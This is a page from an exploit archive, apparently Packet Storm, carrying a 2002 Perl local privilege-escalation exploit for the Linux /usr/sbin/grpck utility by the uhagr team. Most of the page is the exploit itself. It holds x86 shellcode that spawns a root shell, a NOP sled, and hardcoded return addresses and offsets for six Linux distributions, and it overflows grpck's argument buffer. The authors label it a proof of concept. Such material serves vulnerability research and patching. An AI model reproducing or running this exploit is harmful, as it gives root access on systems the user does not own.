what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

grpck-expl.pl

grpck-expl.pl
Posted Nov 19, 2002
Authored by Black Rose | Site uhagr.org

/usr/sbin/grpck proof of concept local exploit. Not setuid by default. Tested on SuSE, Red Hat, Debian, and Mandrake.

tags | exploit, local, proof of concept
systems | linux, redhat, suse, debian, mandrake
SHA-256 | 71bfe6e2e647879dfcd24d8f56b296965f537cb2bd0c0b575f192e247aeefcfd

grpck-expl.pl

Change Mirror Download
Hi packetstorm dudez!

--- start here ---
#!/usr/bin/perl

# www.uhagr.org - ghostian@linuxmail.gr

# This is only a Proof of concept.
# /usr/sbin/grpck is not suid root by default.

# castle:~ # /usr/sbin/grpck `perl -e 'print "X"x2900'`
# Segmentation fault
# castle:~ #

my $usage = <<x;

[ uhagr team -ghostian -extraneous ]
-- grpck Local r00t exploit --

Usage: ./grpck-expl.pl <target>
Example: ./grpck-expl.pl 1

TARGETS:
[ 1 ] SuSE Linux 7.2
[ 2 ] RedHat Linux 8.0
[ 3 ] RedHat Linux 7.3
[ 4 ] RedHat Linux 7.2
[ 5 ] Debian Linux 2.2
[ 6 ] Mandrake Linux 8.2
x

$target = ($ARGV[0]);

$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

if (!$target) { print "$usage\n"; exit; }

if ($target eq '1') {
$ret = 0xbfffe514;
$offset = 940;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: SuSE Linux 7.2\n";
}

if ($target eq '2' ) {
$ret = 0xbfffe5bc;
$offset = 851;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: RedHat Linux 8.0\n";
}

if ($target eq '3' ) {
$ret = 0xbfffef94;
$offset = 1812;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: RedHat Linux 7.3\n";
}

if ($target eq '4' ) {
$ret = 0xbfffe73c;
$offset = 645;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: RedHat Linux 7.2\n";
}

if ($target eq '5' ) {
$ret = 0xbfffe934;
$offset = 1541;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: Debian Linux 3.0r0\n";
}

if ($target eq '6' ) {
$ret = 0xbffff0ae;
$offset = 1859;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: Mandrake Linux 8.2\n";
}


$addr = pack('l', ($ret + $offset));
for ($i = 0; $i < $buf; $i += 4) {
$buffer .= $addr;
}

for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}

$buffer .= $shellcode;
print "r00t?\n";
exec("/usr/sbin/grpck", $buffer,0);

# Have a nice night ;]
--- cut here ---

Thanks!
The uhagr team

_____________________________________________________________
Sign up for FREE email from LinuxMail.gr at http://www.linuxmail.gr
Powered by LinuxFreaks.gr

_____________________________________________________________
Select your own custom email address for FREE! Get you@yourchoice.com w/No Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close